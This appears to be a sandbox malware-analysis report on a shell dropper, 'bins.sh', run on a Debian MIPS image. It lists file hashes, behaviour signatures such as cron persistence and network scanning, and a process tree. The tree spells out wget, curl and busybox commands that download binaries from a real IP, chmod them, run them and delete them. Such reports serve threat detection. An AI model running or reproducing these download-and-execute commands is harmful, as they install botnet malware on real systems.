Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 07:14

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    acf9f575ad4baba7d6272ee313fb67e5

  • SHA1

    8eeb94b3ee523a0d71cd2d8c1d5931fcde651e1a

  • SHA256

    29b6fbf8520e38ee858951211cf8d6364128b9e1a351e9fcc96cf4dc06c45e87

  • SHA512

    13a836bc239e2e1ccc70a558add24a0e74bac3382834b06489b8a316519a5376874cde608c0546de15bcd6aebd9c903089a751b52d7d40ad4a0f2cd6549b6c3d

  • SSDEEP

    96:yTPLN/mDiM57xKWeDvfo4458rr4cNXpfCT/invORL57RE684cN3KWeDvfJu4458L:cPRWiM3KWevfnKWevfP

Malware Config

Signatures

  • Contacts a large (1637) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Writes file to tmp directory
          PID:710
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          ./XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://216.126.231.240/bins/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            ./7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
            • Executes dropped EXE
            PID:745
          • /bin/rm
            rm 7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
              PID:747
            • /usr/bin/wget
              wget http://216.126.231.240/bins/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
              • Writes file to tmp directory
              PID:759
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
              • Writes file to tmp directory
              PID:778
            • /bin/chmod
              chmod 777 okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
              • File and Directory Permissions Modification
              PID:783
            • /tmp/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              ./okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
              • Executes dropped EXE
              PID:784
            • /bin/rm
              rm okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
                PID:787
              • /usr/bin/wget
                wget http://216.126.231.240/bins/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                • Writes file to tmp directory
                PID:789
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:801
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                • Writes file to tmp directory
                PID:802
              • /bin/chmod
                chmod 777 yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                • File and Directory Permissions Modification
                PID:803
              • /tmp/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                ./yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                • Executes dropped EXE
                PID:804
              • /bin/rm
                rm yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                  PID:806
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                  2⤵
                  • Writes file to tmp directory
                  PID:807
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                  2⤵
                  • Writes file to tmp directory
                  PID:810
                • /bin/chmod
                  chmod 777 bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                  2⤵
                  • File and Directory Permissions Modification
                  PID:817
                • /tmp/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                  ./bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                  2⤵
                  • Executes dropped EXE
                  PID:818
                • /bin/rm
                  rm bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                  2⤵
                    PID:821
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                    2⤵
                    • Writes file to tmp directory
                    PID:823
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                    2⤵
                    • Writes file to tmp directory
                    PID:835
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                    2⤵
                    • Writes file to tmp directory
                    PID:846
                  • /bin/chmod
                    chmod 777 MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                    2⤵
                    • File and Directory Permissions Modification
                    PID:847
                  • /tmp/MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                    ./MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                    2⤵
                    • Executes dropped EXE
                    PID:848
                  • /bin/rm
                    rm MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                    2⤵
                      PID:850
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                      2⤵
                      • Writes file to tmp directory
                      PID:851
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                      2⤵
                      • Writes file to tmp directory
                      PID:852
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                      2⤵
                      • Writes file to tmp directory
                      PID:856
                    • /bin/chmod
                      chmod 777 IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                      2⤵
                      • File and Directory Permissions Modification
                      PID:857
                    • /tmp/IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                      ./IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                      2⤵
                      • Executes dropped EXE
                      PID:858
                    • /bin/rm
                      rm IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                      2⤵
                        PID:860
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/33CZBj1GodbN3rXtnwzVXt1BitPBrN9D1F
                        2⤵
                        • Writes file to tmp directory
                        PID:861
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/33CZBj1GodbN3rXtnwzVXt1BitPBrN9D1F
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:862
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/33CZBj1GodbN3rXtnwzVXt1BitPBrN9D1F
                        2⤵
                        • Writes file to tmp directory
                        PID:863
                      • /bin/chmod
                        chmod 777 33CZBj1GodbN3rXtnwzVXt1BitPBrN9D1F
                        2⤵
                        • File and Directory Permissions Modification
                        PID:864
                      • /tmp/33CZBj1GodbN3rXtnwzVXt1BitPBrN9D1F
                        ./33CZBj1GodbN3rXtnwzVXt1BitPBrN9D1F
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:865
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:867
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:868
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:869
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:870
                          • /bin/rm
                            rm 33CZBj1GodbN3rXtnwzVXt1BitPBrN9D1F
                            2⤵
                              PID:872
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/4WBK5Vgxz1MyPXwIoey9OSUIjtXm6kElxs
                              2⤵
                                PID:875

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/33CZBj1GodbN3rXtnwzVXt1BitPBrN9D1F

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /var/spool/cron/crontabs/tmp.yI5AUT

                              Filesize

                              210B

                              MD5

                              43629e1f44f93c6e0ee300908947c917

                              SHA1

                              55fde0e95ec9eb09025e03b4f86c957e208f31c9

                              SHA256

                              99695c76dfd392836792df57e2b4f77545f8992bf6594a6f567b82649f60b298

                              SHA512

                              d3919b8e8c4ae15d588048a541b0ecbb6611d6ae89ec828d6b1d4ea7d6ec6abb193ede8a2dbec09d89f3d66a29cba41e103a74bda591468520dd8bbfdb62d68d